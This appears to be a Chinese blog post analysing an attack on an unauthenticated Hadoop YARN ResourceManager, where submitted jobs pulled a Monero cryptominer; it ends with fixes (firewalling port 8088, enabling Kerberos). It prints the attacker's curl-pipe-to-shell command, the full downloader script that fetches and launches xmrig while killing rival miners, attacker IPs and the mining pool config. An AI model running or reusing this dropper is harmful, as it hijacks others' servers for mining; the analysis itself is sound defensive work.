Hadoop Yarn 未授权访问导致被攻击

最近利用 Ambari 重新搭建了一个集群,今天发现 ResourceManager UI 里面有一些奇怪的作业,类型是 yarn,由 dr.who 提交的名为 MYYARN 的作业,最早从2018年4月30日开始,每隔几分钟就有一个,作业内容完全一样。

里面的关键一句命令是 exec /bin/bash -c "curl 193.22.96.25/x.sh | sh & disown",IP 来自俄罗斯,俄罗斯的黑客真是厉害呢。

入侵分析

首先我们来看一下这个 x.sh 的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
#ps ax|grep /tmp/yarn|grep -v grep|xargs kill -9

WGET="wget"
if [ -s /usr/bin/curl ];
then WGET="curl -o";
fi;
if [ -s /usr/bin/wget ];
then WGET="wget -O";
fi
if [ ! "$(ps -fe|grep '/tmp/java -c /tmp/w.conf' |grep -v grep)" ]; then
f1=$(curl 193.22.96.25/g.php)
if [ -z "$f1" ];
then f1=$(wget -q -O - 193.22.96.25/g.php)
fi
f2="193.22.96.25"


if [ `getconf LONG_BIT` = "64" ]
then
$WGET /tmp/java http://$f1/xmrig_64
else
$WGET /tmp/java http://$f1/xmrig_32
fi

chmod +x /tmp/java
$WGET /tmp/w.conf http://$f2/w.conf
nohup /tmp/java -c /tmp/w.conf>/dev/null 2>&1 &
sleep 5
rm -rf /tmp/w.conf
rm -f /tmp/java
fi
pkill -f logo9.jpg
crontab -l | sed '/logo9/d' | crontab -

我们看到这个脚本根据不同的架构的CPU下载不同的文件,下载地址是通过 http://193.22.96.25/g.php 这个地址动态获取的,访问了几次,有如下若干 IP:

1
2
3
4
5
6
7
130.0.233.116
5.188.228.148
62.109.24.112
91.201.42.5
95.142.40.81
95.142.40.82
95.142.40.83

脚本下载的程序分别是 xmrig_64xmrig_32,并且命名为 /tmp/java,伪装了一下,又下载了 w.conf 这个配置文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"algo": "cryptonight",
"background": true,
"colors": true,
"retries": 5,
"retry-pause": 5,
"donate-level": 1,
"syslog": false,
"log-file": null,
"print-time": 60,
"av": 0,
"safe": false,
"max-cpu-usage": 95,
"cpu-priority": 4,
"threads": null,
"pools": [
{
"url": "stratum+tcp://179.60.146.10:5556",
"user": "h",
"pass": "h",
"keepalive": true,
"nicehash": false,
"variant": -1
}
],
"api": {
"port": 0,
"access-token": null,
"worker-id": null
}
}

通过第一行的 cryptonight 这个算法得知,这是一个门罗币的挖矿程序。

好在我们的集群并没有访问外网的权限, 所以一开始就没有成功下载恶意脚本,没有真正受到影响。

解决办法

Hadoop 作为一个分布式计算应用程序框架,种类和功能繁多,各种组件安全问题,可能会带来更大的攻击面。

此次攻击是针对 Yarn 的 ResourceManager UI 开放的 8088 端口,攻击者无需认证即可通过 REST API 部署任务来执行任意指令,最终可以完全控制集群中的所有机器。

首先我们通过设置 iptables 把 8088 端口限制只能从办公室的 IP 访问。
然后启用Kerberos认证功能。